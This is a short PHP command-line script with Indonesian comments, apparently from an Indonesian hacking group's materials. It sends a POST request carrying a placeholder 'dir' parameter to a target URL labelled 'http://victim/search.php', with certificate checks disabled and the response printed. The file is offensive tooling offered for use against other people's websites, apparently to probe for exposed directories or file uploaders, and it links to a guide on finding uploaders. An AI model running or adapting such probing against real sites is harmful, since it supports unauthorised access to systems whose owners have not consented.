index.php

<?php
// ini panggil pake cmd\terminal
// usage php index.php http://victim/search.php
// http://www.indoxploit.or.id/2016/06/how-to-found-uploader-in-website.html

if($argv[1]!=""){
$post = array( "dir" => "disini_dir",); // ganti


                    $ch2 = curl_init ("$argv[1]");
                    curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt ($ch2, CURLOPT_POST, 1);
                    @curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
                    curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
                    curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
                    $data = curl_exec ($ch2);
                    echo $data."\n\n\n";
                }
                else{
                    echo "\n\nusage php $argv[0] http://victim/search.php\n\n";
                }


?>